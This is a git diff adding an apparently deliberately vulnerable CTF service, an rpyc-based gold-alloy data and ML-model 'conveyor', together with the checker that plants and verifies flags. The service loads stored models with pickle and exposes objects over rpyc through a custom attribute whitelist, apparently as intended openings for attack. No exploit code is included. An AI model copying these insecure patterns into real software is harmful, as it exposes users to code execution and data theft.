diff --git a/check.py b/check.py
index 0bb5671..eb77f57 100755
--- a/check.py
+++ b/check.py
@@ -403,6 +403,7 @@ def validate_file(self, f: Path):
                 for opt in container_conf:
                     self._error(
                         opt in CONTAINER_ALLOWED_OPTIONS
+                        or (opt == "command" and container == "redis")
                         or (
                             container == "goldarn"
                             and opt in ["network_mode", "tmpfs", "healthcheck"]
diff --git a/checkers/conveyor/checker.py b/checkers/conveyor/checker.py
new file mode 100755
index 0000000..91cad00
--- /dev/null
+++ b/checkers/conveyor/checker.py
@@ -0,0 +1,417 @@
+#!/usr/bin/env python3
+
+import json
+import random
+import sys
+import traceback
+from collections import UserList
+from enum import Enum
+from functools import partial
+from typing import cast
+
+import pandas as pd
+import rpyc
+from checklib import BaseChecker, Status, cquit, rnd_string
+from conveyorlib import (
+    AlloyComposition,
+    DataConveyor,
+    GoldConveyorService,
+    Model,
+    ModelConveyor,
+)
+
+SERVICE_PORT = 12378
+MAX_SAMPLES = 100
+MIN_SAMPLES = MAX_SAMPLES // 2
+FEATURES = [
+    "gold_ozt",
+    "silver_ozt",
+    "copper_ozt",
+    "platinum_ozt",
+    "troy_ounces",
+    "karat",
+    "fineness",
+]
+ALLOYS = [
+    AlloyComposition(gold_fr=0.75, silver_fr=0.125, copper_fr=0.125, platinum_fr=0),
+    AlloyComposition(gold_fr=0.75, silver_fr=0, copper_fr=0.25, platinum_fr=0),
+    AlloyComposition(gold_fr=0.75, silver_fr=0.025, copper_fr=0.225, platinum_fr=0),
+    AlloyComposition(gold_fr=0.75, silver_fr=0.05, copper_fr=0.2, platinum_fr=0),
+    AlloyComposition(gold_fr=0.75, silver_fr=0, copper_fr=0, platinum_fr=0.25),
+]
+PRECISION = 1e-3
+MAX_DATA_LEN = 128
+
+
+# rnd_weight returns random number of ounces for DataConveyor
+def rnd_weight() -> float:
+    return random.random() * 10
+
+
+# rnd_deviation returns random deviation for DataConveyor
+def rnd_deviation() -> float:
+    return random.random() * 0.1
+
+
+# rnd_nsamples returns random number of samples for DataConveyor
+def rnd_nsamples() -> int:
+    return random.randint(MIN_SAMPLES, MAX_SAMPLES)
+
+
+# rnd_features returns a random list of features and a target for model training
+def rnd_features() -> tuple[list[str], str]:
+    features = random.choices(FEATURES, k=random.randint(2, len(FEATURES) - 1))
+    left = list(set(FEATURES).difference(features))
+    target = random.choice(left)
+    return features, target
+
+
+# rnd_name generates random name of model or dataset
+def rnd_name(info: str) -> str:
+    length = random.randint(MAX_DATA_LEN // 2, MAX_DATA_LEN - len(info) - 1)
+    return info + "_" + rnd_string(length)
+
+
+# rnd_description generates random description of model or dataset
+def rnd_description() -> str:
+    return rnd_string(random.randint(MAX_DATA_LEN // 2, MAX_DATA_LEN))
+
+
+class FlagPlace(Enum):
+    DATASET = 1
+    MODEL = 2
+
+
+class Checker(BaseChecker):
+    vulns: int = 2
+    timeout: int = 20
+    uses_attack_data: bool = True
+
+    conn: rpyc.Connection
+    service: GoldConveyorService
+    data_conveyor: DataConveyor
+    model_conveyor: ModelConveyor
+
+    def __init__(self, *args, **kwargs):
+        super(Checker, self).__init__(*args, **kwargs)
+
+    def action(self, action, *args, **kwargs):
+        try:
+            super(Checker, self).action(action, *args, **kwargs)
+        except ConnectionError as err:
+            self.cquit(Status.DOWN, "Connection error", f"Connection error: {err}")
+        except TimeoutError as err:
+            self.cquit(Status.DOWN, "Timeout error", f"Timeout error: {err}")
+        except Exception as err:
+            if "_get_exception_class" in type(err).__qualname__:
+                self.cquit(
+                    Status.MUMBLE,
+                    f"Unexpected remote error: {str(err)}",
+                    f"Unexpected remote error: {traceback.format_exception(err)}",
+                )
+            else:
+                raise
+
+    def check(self):
+        self._connect()
+
+        # Generate DataFrame, like for put
+        (want_weight, want_deviation, want_nsamples), df = self._generate_samples()
+        self.assert_eq(
+            len(df),
+            want_nsamples,
+            "Incorrect length of generated DataFrame",
+            Status.MUMBLE,
+        )
+        self.assert_eq(
+            df.shape,
+            (want_nsamples, len(FEATURES)),
+            "Incorrect shape of generated DataFrame",
+            Status.MUMBLE,
+        )
+        self.assert_neq(
+            str(df.head(1)),
+            "",
+            "Empty head() of generated DataFrame",
+            Status.MUMBLE,
+        )
+        self.assert_gt(
+            want_deviation,
+            abs(
+                df.iloc[random.randint(0, want_nsamples - 1)]["troy_ounces"]
+                - want_weight
+            )
+            / want_weight,
+            "Generated DataFrame weight deviates too much",
+            Status.MUMBLE,
+        )
+
+        # Additionally test DataFrame weight normalization
+        if random.randint(0, 1) == 0:
+            df = self.data_conveyor.normalize_sample_weights(df)
+            self.assert_gt(
+                PRECISION,
+                abs(df.iloc[random.randint(0, want_nsamples - 1)]["troy_ounces"] - 1.0),
+                "Normalized DataFrame weight deviates too much",
+                Status.MUMBLE,
+            )
+
+        # Pick DataFrame features/target and split them into train/test datasets
+        features, target = rnd_features()
+        x, y = df[UserList(features)], df[UserList([target])]
+        splits = self.data_conveyor.split_samples(x, y, proportion=0.8)
+        self.assert_eq(
+            len(splits), 4, "Incorrect number of DataFrames after split", Status.MUMBLE
+        )
+        x_train, x_test, y_train, y_test = splits
+        self.assert_eq(
+            len(x_train),
+            len(y_train),
+            "Train X and Y length mismatch after split",
+            Status.MUMBLE,
+        )
+        self.assert_eq(
+            len(x_test),
+            len(y_test),
+            "Test X and Y length mismatch asfter split",
+            Status.MUMBLE,
+        )
+
+        # Train model and test it
+        model = self._train_model(x_train, y_train)
+        test_mode = random.randint(0, 2)
+        if test_mode == 0:
+            score = model.score(x_test, y_test)
+        elif test_mode == 1:
+            predict = model.predict(x_test)
+            score = self.model_conveyor.mean_absolute_error(y_test, predict)
+        else:
+            predict = model.predict(x_test)
+            score = self.model_conveyor.mean_squared_error(y_test, predict)
+
+        self._disconnect()
+        self.cquit(Status.OK)
+
+    def put(self, _flag_id: str, flag: str, vuln: str):
+        flag_place = self._parse_vuln(vuln)
+        self._connect()
+
+        access_key = self.service.create_account()
+        account_id = str(self.service.account_id)
+
+        # Always generate dataset, because it is needed for both flag places
+        (_, _, want_nsamples), df = self._generate_samples()
+        self.assert_eq(
+            len(df),
+            want_nsamples,
+            "Incorrect length of generated DataFrame",
+            Status.MUMBLE,
+        )
+
+        dataset_params = []
+        model_params = []
+
+        if flag_place == FlagPlace.DATASET:
+            # Save dataset with random info, one containing the flag in its description
+            extra_datasets = random.randint(1, 2)
+            dataset_params = [
+                (rnd_name("dataset"), rnd_description()) for _ in range(extra_datasets)
+            ]
+            dataset_params.append((rnd_name("dataset"), flag))
+            random.shuffle(dataset_params)
+
+            for name, description in dataset_params:
+                self.service.save_dataset(df, name, description)
+        else:
+            features, target = rnd_features()
+            x, y = df[UserList(features)], df[UserList([target])]
+            model = self._train_model(x, y)
+
+            # Save model with random info, one containing the flag in its description
+            extra_models = random.randint(1, 2)
+            model_params = [
+                (rnd_name("model"), rnd_description()) for _ in range(extra_models)
+            ]
+            model_params.append((rnd_name("model"), flag))
+            random.shuffle(model_params)
+
+            for name, description in model_params:
+                self.service.save_model(model, name, description)
+
+        self._disconnect()
+
+        private = dict(
+            k=access_key,
+            i=account_id,
+            p=dataset_params,
+            n=want_nsamples,
+            m=model_params,
+        )
+        private = json.dumps(private, separators=(",", ":"))
+
+        self.cquit(Status.OK, f"account_id: {account_id}", private)
+
+    def get(self, flag_id: str, flag: str, vuln: str):
+        flag_place = self._parse_vuln(vuln)
+        private = json.loads(flag_id)
+        access_key = private["k"]
+        account_id = private["i"]
+        dataset_params = private["p"]
+        model_params = private["m"]
+        nsamples = private["n"]
+
+        self._connect()
+
+        # Always check authentication
+        try:
+            self.service.authenticate(access_key)
+        except ValueError as err:
+            self.cquit(
+                Status.CORRUPT,
+                "Failed to authenticate",
+                f"Failed to authenticate as {account_id} using key {access_key}: {err}",
+            )
+        self.assert_eq(
+            str(self.service.account_id),
+            account_id,
+            "Account ID mismatch",
+            Status.CORRUPT,
+        )
+
+        if flag_place == FlagPlace.DATASET:
+            want_datasets = dict(dataset_params)
+            dataset_info = self.service.list_datasets()
+            for info in dataset_info:
+                name, description = info.name, info.description
+                self.assert_in(
+                    name,
+                    want_datasets,
+                    "list_datasets returned unknown dataset",
+                    Status.CORRUPT,
+                )
+                self.assert_eq(
+                    description,
+                    want_datasets[name],
+                    "list_datasets returned incorrect dataset description",
+                    Status.CORRUPT,
+                )
+                want_datasets.pop(name)
+
+            self.assert_eq(
+                0,
+                len(want_datasets),
+                "datasets missing from list_datasets result",
+                Status.CORRUPT,
+            )
+
+            flag_dataset_name = next(filter(lambda p: p[1] == flag, dataset_params))[0]
+            df = self.service.load_dataset(flag_dataset_name)
+            self.assert_eq(
+                nsamples,
+                len(df),
+                "Incorrect length of loaded DataFrame",
+                Status.CORRUPT,
+            )
+        else:
+            want_names = set(map(lambda p: p[0], model_params))
+            model_names = self.service.list_models()
+            for name in model_names:
+                self.assert_in(
+                    name,
+                    want_names,
+                    "list_models returned unknown model",
+                    Status.CORRUPT,
+                )
+                want_names.remove(name)
+
+            self.assert_eq(
+                0,
+                len(want_names),
+                "models missing from list_models result",
+                Status.CORRUPT,
+            )
+
+            flag_model_name = next(filter(lambda p: p[1] == flag, model_params))[0]
+            model = self.service.load_model(flag_model_name)
+            self.assert_eq(
+                model.name,
+                flag_model_name,
+                "Incorrect name of loaded model",
+                Status.CORRUPT,
+            )
+            self.assert_eq(
+                model.description,
+                flag,
+                "Incorrect description of loaded model",
+                Status.CORRUPT,
+            )
+
+        self._disconnect()
+        self.cquit(Status.OK)
+
+    def _connect(self):
+        self.conn = cast(
+            rpyc.Connection,
+            rpyc.connect(
+                host=self.host,
+                port=SERVICE_PORT,
+                config=dict(
+                    include_local_traceback=False,
+                    include_local_version=False,
+                ),
+            ),
+        )
+
+        self.service = cast(GoldConveyorService, self.conn.root)
+        self.data_conveyor = self.service.data_conveyor
+        self.model_conveyor = self.service.model_conveyor
+
+    def _disconnect(self):
+        self.conn.close()
+
+    def _parse_vuln(self, vuln: str) -> FlagPlace:  # type: ignore
+        if vuln == "1":
+            return FlagPlace.DATASET
+        elif vuln == "2":
+            return FlagPlace.MODEL
+        else:
+            c.cquit(Status.ERROR, "Checker error", f"Got unexpected vuln value {vuln}")
+
+    def _generate_samples(
+        self,
+    ) -> tuple[tuple[float, float, int], pd.DataFrame]:
+        want_weight = rnd_weight()
+        want_deviation = rnd_deviation()
+        want_nsamples = rnd_nsamples()
+        params = (want_weight, want_deviation, want_nsamples)
+
+        generators = [
+            self.data_conveyor.random_alloy_samples,
+            partial(self.data_conveyor.template_alloy_samples, random.choice(ALLOYS)),
+        ]
+
+        generators.append(
+            lambda w, d, n: self.data_conveyor.concat_samples(
+                generators[0](w, d, n // 2), generators[1](w, d, n - n // 2)
+            )
+        )
+
+        return params, random.choice(generators)(
+            want_weight, want_deviation, want_nsamples
+        )
+
+    def _train_model(self, x: pd.DataFrame, y: pd.DataFrame) -> Model:
+        if random.randint(0, 1) == 0:
+            return self.model_conveyor.fit_linear_regression(x, y)
+        else:
+            return self.model_conveyor.fit_ridge(x, y)
+
+
+if __name__ == "__main__":
+
+    c = Checker(sys.argv[2])
+
+    try:
+        c.action(sys.argv[1], *sys.argv[3:])
+    except c.get_check_finished_exception():
+        cquit(Status(c.status), c.public, c.private)
diff --git a/checkers/conveyor/conveyorlib.py b/checkers/conveyor/conveyorlib.py
new file mode 100644
index 0000000..2ebdc1e
--- /dev/null
+++ b/checkers/conveyor/conveyorlib.py
@@ -0,0 +1,102 @@
+"""
+conveyorlib contains rpyc service type stubs for interacting with the service
+"""
+
+from dataclasses import dataclass
+from typing import Optional
+from uuid import UUID
+
+import numpy as np
+import numpy.typing as npt
+import pandas as pd
+
+
+@dataclass
+class AlloyComposition:
+    ALLOWED = set(["gold_fr", "silver_fr", "copper_fr", "platinum_fr"])
+
+    gold_fr: float
+    silver_fr: float
+    copper_fr: float
+    platinum_fr: float
+
+    def _rpyc_getattr(self, name):
+        if name in AlloyComposition.ALLOWED:
+            return getattr(self, name)
+        raise AttributeError("access denied")
+
+
+class DataConveyor:
+    def random_alloy_samples(
+        self, weight_ozt: float, max_deviation: float, samples: int
+    ) -> pd.DataFrame: ...
+
+    def template_alloy_samples(
+        self,
+        template: AlloyComposition,
+        weight_ozt: float,
+        max_deviation: float,
+        samples: int,
+    ) -> pd.DataFrame: ...
+
+    def concat_samples(self, *dfs: pd.DataFrame) -> pd.DataFrame: ...
+
+    def normalize_sample_weights(self, df: pd.DataFrame) -> pd.DataFrame: ...
+
+    def split_samples(
+        self, *dfs: pd.DataFrame, proportion: float
+    ) -> list[pd.DataFrame]: ...
+
+
+MatrixLike = np.ndarray | pd.DataFrame
+ArrayLike = npt.ArrayLike
+
+
+class Model:
+    name: str
+    description: str
+
+    def predict(self, X: MatrixLike) -> np.ndarray: ...
+
+    def score(self, X: MatrixLike, y: MatrixLike | ArrayLike) -> float: ...
+
+
+class ModelConveyor:
+    def fit_linear_regression(self, x: npt.ArrayLike, y: npt.ArrayLike) -> Model: ...
+
+    def fit_ridge(self, x: npt.ArrayLike, y: npt.ArrayLike) -> Model: ...
+
+    def mean_absolute_error(
+        self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike
+    ) -> float: ...
+
+    def mean_squared_error(
+        self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike
+    ) -> float: ...
+
+
+class DataSetInfo:
+    name: str
+    description: str
+
+
+class GoldConveyorService:
+    account_id: Optional[UUID]
+    data_conveyor: DataConveyor
+    model_conveyor: ModelConveyor
+
+    def create_account(self) -> str: ...
+
+    def authenticate(self, access_key: str): ...
+
+    def save_dataset(self, df: pd.DataFrame, name: str, description: str): ...
+
+    def list_datasets(self) -> list[DataSetInfo]: ...
+
+    def load_dataset(self, name: str) -> pd.DataFrame: ...
+
+    def save_model(self, model: Model, name: str, description: str): ...
+
+    def list_models(self) -> list[str]: ...
+
+    def load_model(self, name: str) -> Model: ...
diff --git a/checkers/requirements.txt b/checkers/requirements.txt
index 9deffc8..fe19c5e 100644
--- a/checkers/requirements.txt
+++ b/checkers/requirements.txt
@@ -1,4 +1,7 @@
 checklib
+rpyc==5.3.1
+pandas==2.2.0
+pyarrow==15.0.0
 pycryptodome
 pydantic
 openpyxl
diff --git a/services/conveyor/.tool-versions b/services/conveyor/.tool-versions
new file mode 100644
index 0000000..a7bdacf
--- /dev/null
+++ b/services/conveyor/.tool-versions
@@ -0,0 +1 @@
+python 3.11.7
diff --git a/services/conveyor/README.md b/services/conveyor/README.md
new file mode 100644
index 0000000..2c5e51c
--- /dev/null
+++ b/services/conveyor/README.md
@@ -0,0 +1,11 @@
+# Conveyor
+
+Welcome, diggers, welcome, to our newly-developed startup specializing in gold and ML conveyors!
+
+To get started with testing out our product's beta, all you need is a computing device with [Python](https://www.python.org/) and [Poetry](https://python-poetry.org/) installed, using which you could launch the example client script ([scripts/client.py](./scripts/client.py)) by executing:
+
+```sh
+poetry install && poetry run conveyor-client {IP} 12378
+```
+
+It should call our services to dig out some fresh gold, mix it up into some alloys, and train a basic linear model on the resulting alloy, weight and fineness data! Should you need a more thorough look through our available features, simply check them out in the data conveyor and model conveyor sources: [conveyor/data.py](./conveyor/data.py) and [conveyor/model.py](./conveyor/model.py), respectively.
diff --git a/services/conveyor/conveyor/__init__.py b/services/conveyor/conveyor/__init__.py
new file mode 100644
index 0000000..f43846d
--- /dev/null
+++ b/services/conveyor/conveyor/__init__.py
@@ -0,0 +1,21 @@
+__all__ = [
+    "data",
+    "model",
+    "remote",
+    "service",
+    "storage",
+    "AlloyComposition",
+    "DataConveyor",
+    "DataFrame",
+    "PredefinedAlloys",
+    "LinearRegression",
+    "Model",
+    "ModelConveyor",
+    "RidgeRegression",
+    "GoldConveyorService",
+]
+
+from . import data, model, remote, service, storage
+from .data import AlloyComposition, DataConveyor, DataFrame, PredefinedAlloys
+from .model import LinearRegression, Model, ModelConveyor, RidgeRegression
+from .service import GoldConveyorService
diff --git a/services/conveyor/conveyor/config.py b/services/conveyor/conveyor/config.py
new file mode 100644
index 0000000..c0047f7
--- /dev/null
+++ b/services/conveyor/conveyor/config.py
@@ -0,0 +1,6 @@
+PRECISION = 1e-9
+MAX_SAMPLES = 100
+KARAT_DIGITS = 2
+FINENESS_DIGITS = 3
+ACCESS_KEY_BYTES = 32
+MAX_DATA_LEN = 128
diff --git a/services/conveyor/conveyor/data.py b/services/conveyor/conveyor/data.py
new file mode 100644
index 0000000..6eed1ab
--- /dev/null
+++ b/services/conveyor/conveyor/data.py
@@ -0,0 +1,299 @@
+from typing import Annotated, Callable
+
+import numpy as np
+import pandas as pd
+import pandera as pa
+import pandera.typing as pt
+import pydantic
+from sklearn.model_selection import train_test_split
+
+from . import config, remote
+
+
+class AlloyComposition(pydantic.BaseModel):
+    gold_fr: Annotated[float, pydantic.Field(ge=0, le=1)]
+    silver_fr: Annotated[float, pydantic.Field(ge=0, le=1)]
+    copper_fr: Annotated[float, pydantic.Field(ge=0, le=1)]
+    platinum_fr: Annotated[float, pydantic.Field(ge=0, le=1)]
+
+    @pydantic.model_validator(mode="after")
+    def check_fraction(self):
+        fr = self.gold_fr + self.silver_fr + self.copper_fr + self.platinum_fr
+        if abs(fr - 1.0) > config.PRECISION:
+            raise ValueError("alloy composition fractions should add up to 1")
+        return self
+
+    @classmethod
+    def localized(cls, remote: "AlloyComposition") -> "AlloyComposition":
+        """
+        Recreate AlloyComposition dataclass instance from non-trusted instance,
+        revalidating it in the process.
+        """
+
+        return cls(
+            gold_fr=remote.gold_fr,
+            silver_fr=remote.silver_fr,
+            copper_fr=remote.copper_fr,
+            platinum_fr=remote.platinum_fr,
+        )
+
+
+class PredefinedAlloys:
+    YELLOW_GOLD = AlloyComposition(
+        gold_fr=0.75, silver_fr=0.125, copper_fr=0.125, platinum_fr=0
+    )
+
+    RED_GOLD = AlloyComposition(
+        gold_fr=0.75, silver_fr=0, copper_fr=0.25, platinum_fr=0
+    )
+
+    ROSE_GOLD = AlloyComposition(
+        gold_fr=0.75, silver_fr=0.025, copper_fr=0.225, platinum_fr=0
+    )
+
+    PINK_GOLD = AlloyComposition(
+        gold_fr=0.75, silver_fr=0.05, copper_fr=0.2, platinum_fr=0
+    )
+
+    WHITE_GOLD = AlloyComposition(
+        gold_fr=0.75, silver_fr=0, copper_fr=0, platinum_fr=0.25
+    )
+
+
+@remote.safe({"iloc", "head", "shape"})
+class DataFrame(pd.DataFrame):
+    """
+    Specialized dataframe subclassing the usual pandas dataframe.
+    """
+
+    class Schema(pa.DataFrameModel):
+        gold_ozt: pt.Series[float] = pa.Field(ge=0)
+        silver_ozt: pt.Series[float] = pa.Field(ge=0)
+        copper_ozt: pt.Series[float] = pa.Field(ge=0)
+        platinum_ozt: pt.Series[float] = pa.Field(ge=0)
+        troy_ounces: pt.Series[float] = pa.Field(ge=0)
+        karat: pt.Series[float] = pa.Field(ge=0, le=24)
+        fineness: pt.Series[float] = pa.Field(ge=0, le=1000)
+
+    def __init__(self, *args, **kwargs):
+        # Check to avoid creating NaN columns when casting existing pandas DataFrame to this one.
+        if len(args) == 0:
+            kwargs["columns"] = [
+                "gold_ozt",
+                "silver_ozt",
+                "copper_ozt",
+                "platinum_ozt",
+                "troy_ounces",
+                "karat",
+                "fineness",
+            ]
+
+        super().__init__(*args, **kwargs)
+
+    def validate(self):
+        DataFrame.Schema.validate(self)
+
+
+@remote.safe(
+    {
+        "template_alloy_samples",
+        "random_alloy_samples",
+        "normalize_sample_weights",
+        "concat_samples",
+        "split_samples",
+    }
+)
+class DataConveyor:
+    """
+    Conveyor for working with samples of gold,
+    preparing them for later use with models.
+    """
+
+    RANDOM_ALLOYS = np.array(
+        [
+            PredefinedAlloys.YELLOW_GOLD,
+            PredefinedAlloys.RED_GOLD,
+            PredefinedAlloys.ROSE_GOLD,
+            PredefinedAlloys.PINK_GOLD,
+            PredefinedAlloys.WHITE_GOLD,
+        ]
+    )
+
+    def __init__(self, rng: np.random.RandomState):
+        self.rng = rng
+
+    def template_alloy_samples(
+        self,
+        template: AlloyComposition,
+        weight_ozt: float,
+        max_deviation: float,
+        samples: int,
+    ) -> DataFrame:
+        """
+        Selects a number of gold samples fitting the specified alloy template,
+        with alloy composition and weight deviating no more than is requested.
+
+        A pandas DataFrame is returned, containing the selected samples.
+        """
+
+        validated_template = AlloyComposition.localized(template)
+
+        # TODO optimize generation using template alloy by replacing operations
+        # on each sample with operations on an array of samples.
+        # Unfortunately, this means that the sample generation process would be different for random_alloy_samples.
+        return self.__generate_samples(
+            weight_ozt,
+            max_deviation,
+            samples,
+            lambda: self.__randomize_alloy(validated_template, max_deviation),
+        )
+
+    def random_alloy_samples(
+        self, weight_ozt: float, max_deviation: float, samples: int
+    ) -> DataFrame:
+        """
+        Selects a number of random gold samples with weight deviating no more than is requested.
+
+        A pandas DataFrame is returned, containing the selected samples.
+        """
+
+        return self.__generate_samples(
+            weight_ozt,
+            max_deviation,
+            samples,
+            lambda: self.__randomize_alloy(
+                self.rng.choice(DataConveyor.RANDOM_ALLOYS),
+                max_deviation,
+            ),
+        )
+
+    def normalize_sample_weights(self, df: pd.DataFrame) -> DataFrame:
+        """
+        Scale sample alloy composition to 1 troy ounce.
+        This method works even when not all of the alloy components are present in the dataframe columns.
+        """
+
+        if "troy_ounces" not in df.columns:
+            raise ValueError("troy_ounces column must be present for normalization")
+
+        weights = df["troy_ounces"]
+        components = ["gold_ozt", "silver_ozt", "copper_ozt", "platinum_ozt"]
+
+        for component in components:
+            if component in df.columns:
+                df[component] /= weights
+
+        df["troy_ounces"] = 1.0
+
+        return DataFrame(df)
+
+    def concat_samples(self, *dfs: pd.DataFrame) -> DataFrame:
+        """
+        Concatentates multiple sample DataFrames vertically.
+
+        The total number of samples in the resulting DataFrame should not be more than is allowed.
+        """
+
+        if sum(map(len, dfs)) > config.MAX_SAMPLES:
+            raise ValueError(
+                f"total number of samples after concatenating dataframes should not be more than {config.MAX_SAMPLES}"
+            )
+
+        return DataFrame(
+            pd.concat(dfs, ignore_index=True)
+            .sample(frac=1, random_state=self.rng)
+            .reset_index(drop=True)
+        )
+
+    def split_samples(
+        self, *dfs: pd.DataFrame, proportion: float
+    ) -> list[pd.DataFrame]:
+        """
+        Splits multiple sample DataFrames horizontally according to the specified proportion.
+
+        The first part of each split contains the specified proportion, the other part contains 1-proportion.
+        """
+
+        if not (proportion >= 0 and proportion <= 1):
+            raise ValueError("proportion should be in the range [0.0; 1.0]")
+
+        return [
+            DataFrame(df)
+            for df in train_test_split(
+                *dfs,
+                train_size=proportion,
+                random_state=self.rng,
+            )
+        ]
+
+    def __generate_samples(
+        self,
+        weight_ozt: float,
+        max_deviation: float,
+        samples: int,
+        generator: Callable[[], np.ndarray],
+    ) -> DataFrame:
+        if weight_ozt < 0:
+            raise ValueError("sample weight should be non-negative")
+        elif max_deviation < 0 or max_deviation > 1:
+            raise ValueError("max deviation should be a fraction")
+        elif samples < 0 or samples > config.MAX_SAMPLES:
+            raise ValueError(
+                f"a non-negative number of samples no more than {config.MAX_SAMPLES} should be specified"
+            )
+
+        # Array of generated weights deviating no more than max_deviation
+        # from the dezired weight in troy ounces.
+        weights = weight_ozt * (
+            1 - (2 * max_deviation * self.rng.random(samples)) + max_deviation
+        )
+
+        df = DataFrame()
+        for i in range(samples):
+            sample_alloy_fr = generator()
+            sample_karat = round(sample_alloy_fr[0] * 24, config.KARAT_DIGITS)
+            sample_fineness = round(sample_alloy_fr[0] * 1000, config.FINENESS_DIGITS)
+            sample_weight = weights[i]
+            sample_alloy_ozt = sample_alloy_fr * sample_weight
+
+            df.loc[i] = [  # type: ignore # setitem typing is broken for loc
+                sample_alloy_ozt[0],
+                sample_alloy_ozt[1],
+                sample_alloy_ozt[2],
+                sample_alloy_ozt[3],
+                sample_weight,
+                sample_karat,
+                sample_fineness,
+            ]
+
+        # Perform basic sanity check after dataframe construction.
+        df.validate()
+
+        return df
+
+    def __randomize_alloy(
+        self, template: AlloyComposition, max_deviation: float
+    ) -> np.ndarray:
+        fractions = np.array(
+            [
+                template.gold_fr,
+                template.silver_fr,
+                template.copper_fr,
+                template.platinum_fr,
+            ],
+            dtype=np.float64,
+        )
+
+        # Since this private method accepts only validated compositions,
+        # originally, the fractions sum to 1.
+        # They are reduced by some amount so that each fraction differs no more than by max_deviation.
+        fractions *= 1 - max_deviation * self.rng.random(len(fractions))
+
+        # The resulting shortage must be then redistributed between the present alloy parts.
+        shortage = 1 - np.sum(fractions)
+        shortage_distribution = self.rng.random(len(fractions))
+        shortage_distribution *= fractions > config.PRECISION
+        shortage_distribution /= np.sum(shortage_distribution)
+        fractions += shortage * shortage_distribution
+
+        return fractions
diff --git a/services/conveyor/conveyor/model.py b/services/conveyor/conveyor/model.py
new file mode 100644
index 0000000..22f2bf2
--- /dev/null
+++ b/services/conveyor/conveyor/model.py
@@ -0,0 +1,90 @@
+import io
+import pickle
+
+import numpy as np
+import numpy.typing as npt
+from sklearn import linear_model, metrics
+
+from . import config, remote
+
+
+@remote.safe({"predict", "score", "name", "description"})
+class Model:
+    name: str
+    description: str
+
+    def __init__(self):
+        self.name = ""
+        self.description = ""
+
+    def save(self, file: io.BufferedIOBase):
+        pickle.dump(self, file)
+
+    @staticmethod
+    def load(file: io.BufferedIOBase) -> "Model":
+        return pickle.load(file)
+
+
+class LinearRegression(linear_model.LinearRegression, Model):
+    def __init__(self):
+        linear_model.LinearRegression.__init__(self)
+        Model.__init__(self)
+
+
+class RidgeRegression(linear_model.Ridge, Model):
+    def __init__(self, alpha: float, random_state: np.random.RandomState):
+        linear_model.Ridge.__init__(self, alpha=alpha, random_state=random_state)
+        Model.__init__(self)
+
+
+@remote.safe(
+    {"fit_linear_regression", "fit_ridge", "mean_absolute_error", "mean_squared_error"}
+)
+class ModelConveyor:
+    """
+    Conveyor for training machine learning models on processed gold samples.
+    """
+
+    def __init__(self, rng: np.random.RandomState):
+        self.rng = rng
+
+    def fit_linear_regression(
+        self, x: npt.ArrayLike, y: npt.ArrayLike
+    ) -> LinearRegression:
+        """
+        Initialize and fit a basic linear regression model to the given data.
+        The resulting model can be used to predict or score a prediction.
+        """
+
+        return LinearRegression().fit(x, y)
+
+    def fit_ridge(
+        self, x: npt.ArrayLike, y: npt.ArrayLike, alpha: float = 1.0
+    ) -> RidgeRegression:
+        """
+        Initialize and fit a Ridge regression model to the given data with the specified alpha.
+        The resulting model can be used to predict or score a prediction.
+        """
+
+        # Sanity check to avoid bad alpha values.
+        # Technically, ridge supports alpha = 0, but it isn't recommended.
+        if alpha <= config.PRECISION:
+            raise ValueError(f"alpha must be greater than {config.PRECISION}")
+
+        return RidgeRegression(alpha=alpha, random_state=self.rng).fit(np.array(x), y)
+
+    def mean_absolute_error(
+        self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike
+    ) -> float:
+        """
+        Calculates the MAE for regression prediction results.
+        """
+
+        return float(metrics.mean_absolute_error(y_true, y_pred))
+
+    def mean_squared_error(self, y_true: npt.ArrayLike, y_pred: npt.ArrayLike) -> float:
+        """
+        Calculates the MSE for regression prediction results.
+        """
+
+        return float(metrics.mean_squared_error(y_true, y_pred))
diff --git a/services/conveyor/conveyor/remote.py b/services/conveyor/conveyor/remote.py
new file mode 100644
index 0000000..2832eb6
--- /dev/null
+++ b/services/conveyor/conveyor/remote.py
@@ -0,0 +1,40 @@
+from typing import TypeVar, cast
+
+from rpyc.core.protocol import DEFAULT_CONFIG
+
+T = TypeVar("T")
+safe_attrs = cast(set[str], DEFAULT_CONFIG.get("safe_attrs"))
+
+
+def safe(attrs: set[str]):
+    """
+    Alternative to rpyc.exposed/rpyc.service combination,
+    which works based on _rpyc_getattr instead of the exposed_ prefix.
+    """
+
+    def getter(self, name):
+        if name in attrs or name in safe_attrs:
+            return getattr(self, name)
+        raise AttributeError("access denied")
+
+    def wrapper(cls: type[T]) -> type[T]:
+        setattr(cls, "_rpyc_getattr", getter)
+        return cls
+
+    return wrapper
+
+
+def patch_get_methods():
+    """
+    Monkey-patch rpyc get_methods according to https://github.com/tomerfiliba-org/rpyc/issues/326.
+    """
+
+    import inspect
+
+    def getdoc(*args, **kwargs):
+        return None
+
+    inspect.getdoc = getdoc
+
+
+patch_get_methods()
diff --git a/services/conveyor/conveyor/service.py b/services/conveyor/conveyor/service.py
new file mode 100644
index 0000000..71b875a
--- /dev/null
+++ b/services/conveyor/conveyor/service.py
@@ -0,0 +1,364 @@
+import secrets
+from base64 import b85decode, b85encode
+from dataclasses import dataclass
+from typing import Optional, cast
+from uuid import UUID, uuid4
+
+import numpy as np
+import pandas as pd
+import rpyc
+import structlog
+
+from . import config, remote, storage
+from .data import DataConveyor, DataFrame
+from .model import Model, ModelConveyor
+
+UNEXPECTED_ERROR = Exception("unexpected error has occurred, please retry later")
+UNAUTHENTICATED_ERROR = Exception("authentication required")
+INVALID_ACCESS_KEY_ERROR = ValueError("invalid access key provided")
+
+
+@remote.safe({"name", "description"})
+@dataclass
+class DataSet:
+    name: str
+    description: str
+
+    @classmethod
+    def from_repository(cls, dataset: storage.DataSet) -> "DataSet":
+        return cls(name=dataset.name, description=dataset.description)
+
+
+@remote.safe(
+    {
+        "account_id",
+        "data_conveyor",
+        "model_conveyor",
+        "create_account",
+        "authenticate",
+        "save_dataset",
+        "list_datasets",
+        "load_dataset",
+        "save_model",
+        "list_models",
+        "load_model",
+    }
+)
+class GoldConveyorService(rpyc.Service):
+    def __init__(self, repository: storage.RedisRepository, files: storage.FileStorage):
+        self.repository = repository
+        self.files = files
+        self.logger = structlog.stdlib.get_logger("gold-conveyor")
+        self.rng = np.random.RandomState(secrets.randbits(30))
+
+        # Attributes exposed by the service
+        self.account_id: Optional[UUID] = None  # set when client has authenticated
+        self.data_conveyor = DataConveyor(self.rng)
